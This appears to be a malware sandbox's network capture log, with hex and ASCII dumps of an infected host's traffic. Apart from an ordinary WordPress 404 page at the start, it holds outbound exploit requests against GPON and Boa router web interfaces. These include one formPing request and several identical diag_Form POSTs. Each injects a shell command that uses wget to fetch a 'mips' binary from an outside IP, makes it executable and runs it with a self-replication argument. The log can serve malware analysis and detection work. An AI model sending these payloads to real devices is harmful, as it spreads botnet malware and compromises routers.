Apr 15, 2024 08:53:35.719868898 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Mon, 15 Apr 2024 06:53:35 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://concourse.com.hk/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 43 6f 6e 63 6f 75 72 73 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 43 6f 6e 63 6f 75 72 73 65 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 63 6f 75 72 73 65 2e 63 6f 6d 2e 68 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 43 6f 6e 63 6f 75 72 73 65 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 63 6f 75 72 73 65 2e 63 6f 6d 2e 68 6b 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 31 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 31 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 63 6f 6e 63 6f 75 72 73 65 2e 63 6f 6d 2e 68 6b 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Concourse</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel='dns-prefetch' href='//s.w.org' /><link rel="alternate" type="application/rss+xml" title="Concourse » Feed" href="https://concourse.com.hk/feed/" /><link rel="alternate" type="application/rss+xml" title="Concourse » Comments Feed" href="https://concourse.com.hk/comments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/concourse.com.hk\/wp-includes\/js\/wp-emoji-release.min.js
Apr 15, 2024 08:53:35.719892025 CEST	1289	IN	Data Raw: 3f 76 65 72 3d 35 2e 38 2e 39 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 6f 2c 69 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 70 3d 69 2e 67 65 74 43 6f Data Ascii: ?ver=5.8.9"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.cl
Apr 15, 2024 08:53:35.719917059 CEST	1289	IN	Data Raw: 6f 5b 72 5d 5d 29 3b 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 Data Ascii: o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DO
Apr 15, 2024 08:53:35.719938040 CEST	1289	IN	Data Raw: 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 3b 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e Data Ascii: -size:16px;font-size:1rem;line-height:1.7;}blockquote{color:#000000;}h1,.entry-content h1,h2,.entry-content h2,h3,.entry-content h3,h4,.entry-content h4,h5,.entry-content h5,h6,.entry-content h6,.site-title,.site-title a{font-family:'Montserra
Apr 15, 2024 08:53:35.719959021 CEST	1289	IN	Data Raw: 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 37 35 72 65 6d 3b 7d 23 73 65 63 6f 6e 64 61 72 79 2c 23 73 65 63 6f 6e 64 61 72 79 20 62 75 74 74 6f 6e 2c 23 73 65 63 6f 6e 64 61 72 79 20 69 6e 70 75 74 Data Ascii: e{font-size:30px;font-size:1.875rem;}#secondary,#secondary button,#secondary input,#secondary select,#secondary textarea{font-size:16px;font-size:1rem;}::selection{background-color:#fb2056;color:#ffffff;}body,h1,.entry-title a,.entry-content h
Apr 15, 2024 08:53:35.720021963 CEST	1289	IN	Data Raw: 61 72 65 61 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 62 32 30 35 36 3b 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 3a 63 68 65 63 6b 65 64 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 69 6e 70 Data Ascii: area:focus{border-color:#fb2056;}input[type="radio"]:checked,input[type=reset],input[type="checkbox"]:checked,input[type="checkbox"]:hover:checked,input[type="checkbox"]:focus:checked,input[type=range]::-webkit-slider-thumb{border-color:#fb205
Apr 15, 2024 08:53:35.720043898 CEST	1289	IN	Data Raw: 61 72 5f 77 72 61 70 20 23 74 6f 64 61 79 2c 2e 61 73 74 2d 70 72 6f 67 72 65 73 73 2d 76 61 6c 20 73 70 61 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 62 32 30 35 36 3b 7d 2e 73 65 63 6f 6e 64 61 72 79 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f Data Ascii: ar_wrap #today,.ast-progress-val span{background:#fb2056;}.secondary a:hover + .post-count,.secondary a:focus + .post-count{background:#fb2056;border-color:#fb2056;}.calendar_wrap #today > a{color:#ffffff;}.ast-pagination a,.page-links .page-l
Apr 15, 2024 08:53:35.720065117 CEST	1289	IN	Data Raw: 6e 74 6f 72 2d 73 69 7a 65 2d 78 6c 2c 62 6f 64 79 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 39 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 37 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 Data Ascii: ntor-size-xl,body .elementor-button{border-radius:19px;padding-top:17px;padding-right:40px;padding-bottom:17px;padding-left:40px;}.elementor-button-wrapper .elementor-button{border-color:#ffffff;background-color:rgba(255,255,255,0);}.elementor
Apr 15, 2024 08:53:35.720087051 CEST	1289	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 6f 72 2d 68 65 61 64 69 6e 67 2d 74 69 74 6c 65 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 3b 7d 2e 6d 65 6e 75 2d 74 6f 67 67 6c 65 2c 62 75 74 74 6f 6e 2c 2e 61 73 74 2d 62 75 74 74 6f 6e 2c 2e 61 73 74 2d 63 75 73 Data Ascii: .elementor-heading-title{line-height:1.4;}.menu-toggle,button,.ast-button,.ast-custom-button,.button,input#submit,input[type="button"],input[type="submit"],input[type="reset"]{border-style:solid;border-top-width:2px;border-right-width:2px;bord
Apr 15, 2024 08:53:35.720108032 CEST	301	IN	Data Raw: 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 Data Ascii: ent h2{font-size:32px;}h3,.entry-content h3{font-size:20px;}.ast-single-post .entry-title,.page-title{font-size:30px;}}@media (max-width:544px){.comment-reply-title{font-size:24px;font-size:1.6rem;}.ast-comment-meta{font-size:12px;font-size:0.
Apr 15, 2024 08:53:36.822192907 CEST	1289	IN	Data Raw: 2e 34 72 65 6d 3b 7d 62 6f 64 79 2c 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 2c 2e 61 73 74 2d 62 75 74 74 6f 6e 2c 2e 61 73 74 2d 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: .4rem;}body,button,input,select,textarea,.ast-button,.ast-custom-button{font-size:15px;font-size:0.9375rem;}.ast-comment-list #cancel-comment-reply-link{font-size:15px;font-size:0.9375rem;}#secondary,#secondary button,#secondary input,#seconda

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.13	33648	213.188.223.14	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.842020035 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.13	52288	52.89.68.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.943546057 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.127943993 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:35 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.13	43630	23.38.86.102	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.950113058 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.136224031 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:35 GMT Date: Mon, 15 Apr 2024 06:53:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 34 30 32 37 64 36 38 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 35 26 23 34 36 3b 32 39 62 36 36 34 64 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 34 30 32 37 64 36 38 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 35 26 23 34 36 3b 32 39 62 36 36 34 64 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.34027d68.1713164015.29b664d<P>https://errors.edgesuite.net/9.34027d68.1713164015.29b664d</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.13	36610	13.59.25.223	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.978976965 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.13	60388	13.111.243.59	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.981894970 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.199876070 CEST	494	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Mon, 15 Apr 2024 06:53:34 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.13	35548	51.75.16.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.045826912 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.327321053 CEST	510	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 316 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 76 70 73 2d 34 34 36 36 34 63 33 37 2e 76 70 73 2e 6f 76 68 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at vps-44664c37.vps.ovh.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.13	38294	220.132.97.125	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.050930977 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.13	56620	106.14.126.133	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.065310955 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
